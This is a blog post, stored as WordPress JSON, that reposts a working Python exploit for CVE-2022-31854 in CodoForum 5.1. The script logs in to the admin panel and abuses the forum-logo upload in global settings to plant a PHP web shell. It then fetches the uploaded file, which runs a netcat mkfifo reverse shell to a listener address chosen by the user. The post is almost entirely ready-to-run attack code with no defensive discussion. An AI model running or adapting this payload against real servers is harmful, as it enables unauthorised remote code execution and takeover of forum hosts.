{"id":27351,"date":"2022-07-22T01:28:10","date_gmt":"2022-07-21T21:28:10","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167782\/codoforum51-exec.txt"},"modified":"2022-07-22T11:36:07","modified_gmt":"2022-07-22T07:06:07","slug":"codoforum-5-1-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/codoforum-5-1-remote-code-execution\/","title":{"rendered":"CodoForum 5.1 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: CodoForum v5.1 &#8211; Remote Code Execution (RCE)<br \/>\n# Date: 06\/07\/2022<br \/>\n# Exploit Author: Krish Pandey (@vikaran101)<br \/>\n# Vendor Homepage: https:\/\/codoforum.com\/<br \/>\n# Software Link: https:\/\/bitbucket.org\/evnix\/codoforum_downloads\/downloads\/codoforum.v.5.1.zip<br \/>\n# Version: CodoForum v5.1<br \/>\n# Tested on: Ubuntu 20.04<br \/>\n# CVE: CVE-2022-31854<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/python3<\/p>\n<p dir=\"ltr\">import requests<br \/>\nimport time<br \/>\nimport optparse<br \/>\nimport random<br \/>\nimport string<\/p>\n<p dir=\"ltr\">banner = &#8220;&#8221;&#8221;<br \/>\n______ _______ ____ ___ ____ ____ _____ _ ___ ____ _ _<br \/>\n\/ ___\\ \\ \/ \/ ____| |___ \\ \/ _ \\___ \\|___ \\ |___ \/\/ |( _ ) ___|| || |<br \/>\n| | \\ \\ \/ \/| _| _____ __) | | | |__) | __) |____ |_ \\| |\/ _ \\___ \\| || |_<br \/>\n| |___ \\ V \/ | |__|_____\/ __\/| |_| \/ __\/ \/ __\/_____|__) | | (_) |__) |__ _|<br \/>\n\\____| \\_\/ |_____| |_____|\\___\/_____|_____| |____\/|_|\\___\/____\/ |_|<br \/>\n&#8220;&#8221;&#8221;<\/p>\n<p dir=\"ltr\">print(&#8220;\\nCODOFORUM V5.1 ARBITRARY FILE UPLOAD TO RCE(Authenticated)&#8221;)<br \/>\nprint(banner)<br \/>\nprint(&#8220;\\nExploit found and written by: @vikaran101\\n&#8221;)<\/p>\n<p dir=\"ltr\">parser = optparse.OptionParser()<br \/>\nparser.add_option(&#8216;-t&#8217;, &#8216;&#8211;target-url&#8217;, action=&#8221;store&#8221;, dest=&#8217;target&#8217;, help=&#8217;path of the CodoForum v5.1 install&#8217;)<br \/>\nparser.add_option(&#8216;-u&#8217;, &#8216;&#8211;username&#8217;, action=&#8221;store&#8221;, dest=&#8217;username&#8217;, help=&#8217;admin username&#8217;)<br \/>\nparser.add_option(&#8216;-p&#8217;, &#8216;&#8211;password&#8217;, action=&#8221;store&#8221;, dest=&#8217;password&#8217;, help=&#8217;admin password&#8217;)<br \/>\nparser.add_option(&#8216;-i&#8217;, &#8216;&#8211;listener-ip&#8217;, action=&#8221;store&#8221;, dest=&#8217;ip&#8217;, help=&#8217;listener address&#8217;)<br \/>\nparser.add_option(&#8216;-n&#8217;, &#8216;&#8211;port&#8217;, action=&#8221;store&#8221;, dest=&#8217;port&#8217;, help=&#8217;listener port number&#8217;)<\/p>\n<p dir=\"ltr\">options, args = parser.parse_args()<\/p>\n<p dir=\"ltr\">proxy = {&#8216;http&#8217;: &#8216;http:\/\/127.0.0.1:8080&#8217;, &#8216;https&#8217;: &#8216;https:\/\/127.0.0.1:8080&#8217;}<\/p>\n<p dir=\"ltr\">if not options.target or not options.username or not options.password or not options.ip or not options.port:<br \/>\nprint(&#8220;[-] Missing arguments!&#8221;)<br \/>\nprint(&#8220;[*] Example usage: .\/exploit.py -t [target url] -u [username] -p [password] -i [listener ip] -n [listener port]&#8221;)<br \/>\nprint(&#8220;[*] Help menu: .\/exploit.py -h OR .\/exploit.py &#8211;help&#8221;)<br \/>\nexit()<\/p>\n<p dir=\"ltr\">loginURL = options.target + &#8216;\/admin\/?page=login&#8217;<br \/>\nglobalSettings = options.target + &#8216;\/admin\/index.php?page=config&#8217;<br \/>\npayloadURL = options.target + &#8216;\/sites\/default\/assets\/img\/attachments\/&#8217;<\/p>\n<p dir=\"ltr\">session = requests.Session()<\/p>\n<p dir=\"ltr\">randomFileName = &#8221;.join((random.choice(string.ascii_lowercase) for x in range(10)))<\/p>\n<p dir=\"ltr\">def getPHPSESSID():<\/p>\n<p dir=\"ltr\">try:<br \/>\nget_PHPID = session.get(loginURL)<br \/>\nheaderDict = get_PHPID.headers<br \/>\ncookies = headerDict[&#8216;Set-Cookie&#8217;].split(&#8216;;&#8217;)[0].split(&#8216;=&#8217;)[1]\nreturn cookies<br \/>\nexcept:<br \/>\nexit()<\/p>\n<p dir=\"ltr\">phpID = getPHPSESSID()<\/p>\n<p dir=\"ltr\">def login():<br \/>\nsend_cookies = {&#8216;cf&#8217;:&#8217;0&#8242;}<br \/>\nsend_headers = {&#8216;Host&#8217;: loginURL.split(&#8216;\/&#8217;)[2], &#8216;User-Agent&#8217;: &#8216;Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0&#8217;, &#8216;Accept&#8217;: &#8216;text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8&#8242;,&#8217;Accept-Language&#8217;:&#8217;en-US,en;q=0.5&#8242;,&#8217;Accept-Encoding&#8217;:&#8217;gzip, deflate&#8217;,&#8217;Content-Type&#8217;:&#8217;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;2838079316671520531167093219&#8242;,&#8217;Content-Length&#8217;:&#8217;295&#8242;,&#8217;Origin&#8217;:loginURL.split(&#8216;\/&#8217;)[2],&#8217;Connection&#8217;:&#8217;close&#8217;,&#8217;Referer&#8217;:loginURL,&#8217;Upgrade-Insecure-Requests&#8217;:&#8217;1&#8242;}<br \/>\nsend_creds = &#8220;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;2838079316671520531167093219\\nContent-Disposition: form-data; name=\\&#8221;username\\&#8221;\\n\\nadmin\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;2838079316671520531167093219\\nContent-Disposition: form-data; name=\\&#8221;password\\&#8221;\\n\\nadmin\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;2838079316671520531167093219&#8211;&#8221;<br \/>\nauth = session.post(loginURL, headers=send_headers, cookies=send_cookies, data=send_creds, proxies=proxy)<\/p>\n<p dir=\"ltr\">if &#8220;CODOFORUM | Dashboard&#8221; in auth.text:<br \/>\nprint(&#8220;[+] Login successful&#8221;)<\/p>\n<p dir=\"ltr\">def uploadAndExploit():<br \/>\nsend_cookies = {&#8216;cf&#8217;:&#8217;0&#8242;, &#8216;user_id&#8217;:&#8217;1&#8242;, &#8216;PHPSESSID&#8217;:phpID}<br \/>\nsend_headers = {&#8216;Content-Type&#8217;:&#8217;multipart\/form-data; boundary=&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;7450086019562444223451102689&#8242;}<br \/>\nsend_payload = &#8216;\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;site_title&#8221;\\n\\nCODOLOGIC\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;site_description&#8221;\\n\\ncodoforum &#8211; Enhancing your forum experience with next generation technology!\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;admin_email&#8221;\\n\\nadmin@codologic.com\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;default_timezone&#8221;\\n\\nEurope\/London\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;register_pass_min&#8221;\\n\\n8\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;num_posts_all_topics&#8221;\\n\\n30\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;num_posts_cat_topics&#8221;\\n\\n20\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;num_posts_per_topic&#8221;\\n\\n20\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_attachments_path&#8221;\\n\\nassets\/img\/attachments\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_attachments_exts&#8221;\\n\\njpg,jpeg,png,gif,pjpeg,bmp,txt\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_attachments_size&#8221;\\n\\n3\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_attachments_mimetypes&#8221;\\n\\nimage\/*,text\/plain\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_tags_num&#8221;\\n\\n5\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_tags_len&#8221;\\n\\n15\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;reply_min_chars&#8221;\\n\\n10\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;insert_oembed_videos&#8221;\\n\\nyes\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_privacy&#8221;\\n\\neveryone\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;approval_notify_mails&#8221;\\n\\n\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_header_menu&#8221;\\n\\nsite_title\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;forum_logo&#8221;; filename=&#8221;&#8216; + randomFileName + &#8216;.php&#8221;\\nContent-Type: application\/x-php\\n\\n&lt;?php system(&#8220;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|sh -i 2&gt;&amp;1|nc &#8216; + options.ip + &#8216; &#8216; + options.port + &#8216; &gt;\/tmp\/f&#8221;);?&gt; \\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;login_by&#8221;\\n\\nUSERNAME\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;force_https&#8221;\\n\\nno\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;user_redirect_after_login&#8221;\\n\\ntopics\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;sidebar_hide_topic_messages&#8221;\\n\\noff\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;sidebar_infinite_scrolling&#8221;\\n\\non\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;show_sticky_topics_without_permission&#8221;\\n\\nno\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689\\nContent-Disposition: form-data; name=&#8221;CSRF_token&#8221;\\n\\n23cc3019cadb6891ebd896ae9bde3d95\\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;7450086019562444223451102689&#8211;\\n&#8217;<br \/>\nexploit = requests.post(globalSettings, headers=send_headers, cookies=send_cookies, data=send_payload, proxies=proxy)<\/p>\n<p dir=\"ltr\">print(&#8220;[*] Checking webshell status and executing&#8230;&#8221;)<br \/>\npayloadExec = session.get(payloadURL + randomFileName + &#8216;.php&#8217;, proxies=proxy)<br \/>\nif payloadExec.status_code == 200:<br \/>\nprint(&#8220;[+] Payload uploaded successfully and executed, check listener&#8221;)<br \/>\nelse:<br \/>\nprint(&#8220;[-] Something went wrong, please try uploading the shell manually(admin panel &gt; global settings &gt; change forum logo &gt; upload and access from &#8221; + payloadURL +&#8221;[file.php])&#8221;)<br \/>\nlogin()<br \/>\nuploadAndExploit()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: CodoForum v5.1 &#8211; Remote Code Execution (RCE) # Date: 06\/07\/2022 # Exploit Author: Krish Pandey (@vikaran101) # Vendor Homepage: https:\/\/codoforum.com\/ # Software Link: https:\/\/bitbucket.org\/evnix\/codoforum_downloads\/downloads\/codoforum.v.5.1.zip # Version: CodoForum v5.1 # Tested on: Ubuntu 20.04 # CVE: CVE-2022-31854 #!\/usr\/bin\/python3 import requests import time import optparse import random import string banner = &#8220;&#8221;&#8221; ______ _______ &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-27351","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27351","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=27351"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27351\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=27351"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=27351"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=27351"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}